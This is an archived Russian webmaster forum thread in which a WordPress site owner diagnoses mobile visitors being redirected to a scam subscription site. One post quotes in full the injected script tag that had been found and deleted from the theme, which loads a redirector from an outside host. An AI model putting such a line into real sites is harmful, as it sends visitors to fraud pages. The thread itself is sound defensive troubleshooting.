X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Непонятный вирус на сайта
duoseo
duoseo
Topic Starter сообщение 20.1.2013, 0:27; Ответить: duoseo
Сообщение #1


Старожил
******

Группа: Active User
Сообщений: 1978
Регистрация: 24.11.2009
Из: Россия
Поблагодарили: 1215 раз
Репутация:   219  


Есть проект, при открытии в браузере компьютера - никаких проблем, а вот пользователи с мобильных телефонов (соответственно через мобильные браузеры) видят вместо сайта подложку. Скриншот прикрепляю ниже. Кроме того, их реально перекидывает на чужой сайт mobklas.be, где по-русски объясняется, что браузер устарел и его необходимо обновить, при этом этот сайт находится в черном списке Касперского и является типичным платником с подписками.

Пациент (сайт czlife . ru) на Вордпрессе, в главной папке проверил все файлы - изменений внесенных не мной - нет. Последнее время новых плагинов не ставил, шаблон стоит уже 2 года, проблема возникла недавно.

Подскажите, где смотреть и что лечить?

Скриншот:

0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
arturios
arturios
сообщение 20.1.2013, 0:32; Ответить: arturios
Сообщение #2


Старожил
******

Группа: Super Moderator
Сообщений: 1818
Регистрация: 16.10.2012
Из: Москва
Поблагодарили: 1341 раз
Репутация:   80  


Аналогичная проблемма была на dle при входе на мобильную версию сайта
Пробовали востановить сайт с последнего бэкапа?
У меня был вирус какой то в картинки которую я грузанул на сайт(((

Сообщение отредактировал arturios - 20.1.2013, 0:33


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
denum
denum
сообщение 20.1.2013, 0:36; Ответить: denum
Сообщение #3


Частый гость
**

Группа: User
Сообщений: 72
Регистрация: 15.8.2011
Поблагодарили: 21 раз
Репутация:   3  


.htaccess проверьте. тема ни раз поднималась в темах данной ветки форума. осмотритесь, найдёте много дельных советов.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
duoseo
duoseo
Topic Starter сообщение 20.1.2013, 0:36; Ответить: duoseo
Сообщение #4


Старожил
******

Группа: Active User
Сообщений: 1978
Регистрация: 24.11.2009
Из: Россия
Поблагодарили: 1215 раз
Репутация:   219  


Стоило только огласить проблему, как нашел ее решение.

В файлы шаблона, кто-то (не я) каким-то образом добавил подгрузку скрипта

<script type="text/javascript" src="http://deny.systemhttp.com/r.php?l=http://deny.systemhttp.com/go.php?sid=1"></script>


Проблема решилась простым удалением этой строчки из кода. Остается вопрос, как эта строчка смогла там оказаться, возможно тоже загрузилась вместе с каким-то моим фалом через админку - буду выяснять, но в любом случае, на данный момент мой вопрос снимается.

Тему можно закрывать, спасибо.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
R1cho
R1cho
сообщение 20.1.2013, 0:38; Ответить: R1cho
Сообщение #5


Частый гость
**

Группа: User
Сообщений: 93
Регистрация: 7.1.2013
Из: Москва
Поблагодарили: 8 раз
Репутация:   -5  


duoseo, и мне помог mellow.gif


--------------------
Хочу представить заработок в интернете!
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
devvver
devvver
сообщение 20.1.2013, 0:47; Ответить: devvver
Сообщение #6


Завсегдатай
*****

Группа: Active User
Сообщений: 734
Регистрация: 18.8.2010
Из: Херсон, Украина
Поблагодарили: 351 раз
Репутация:   85  


(duoseo @ 19.1.2013, 23:36) *
Проблема решилась простым удалением этой строчки из кода. Остается вопрос, как эта строчка смогла там оказаться, возможно тоже загрузилась вместе с каким-то моим фалом через админку - буду выяснять, но в любом случае, на данный момент мой вопрос снимается.

Ищите шелл в DLE , он 100% есть. Далее меняйте все пароли и ищите дыру в DLE
http://devvver.ru/seo/borba-s-virusami-na-...donosnogo-koda/

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Монетизация сайта 3к месяц
10 ALESHAONLINE 1223 Сегодня, 8:58
автор: wanessa
Открытая тема (нет новых ответов) Ваши первые действия после создания сайта
представьте что вы создали новый сайт
7 HavingingWorld 357 Сегодня, 1:25
автор: indexphp
Открытая тема (нет новых ответов) 90 статейных ссылок. Хорошие доноры для вашего сайта.
9 blogprogon 381 18.5.2018, 16:48
автор: 26rus
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыОценка сайта по абразивным материалам
Производственное предприятие
12 Antoncheg87 2707 18.5.2018, 13:38
автор: nikolay_web
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыВопросы по Региональности сайта
регион, региональность, местоположение
2 Alexey_kzn 712 18.5.2018, 11:37
автор: Alexey_kzn


 



RSS Текстовая версия Сейчас: 21.5.2018, 12:26
Дизайн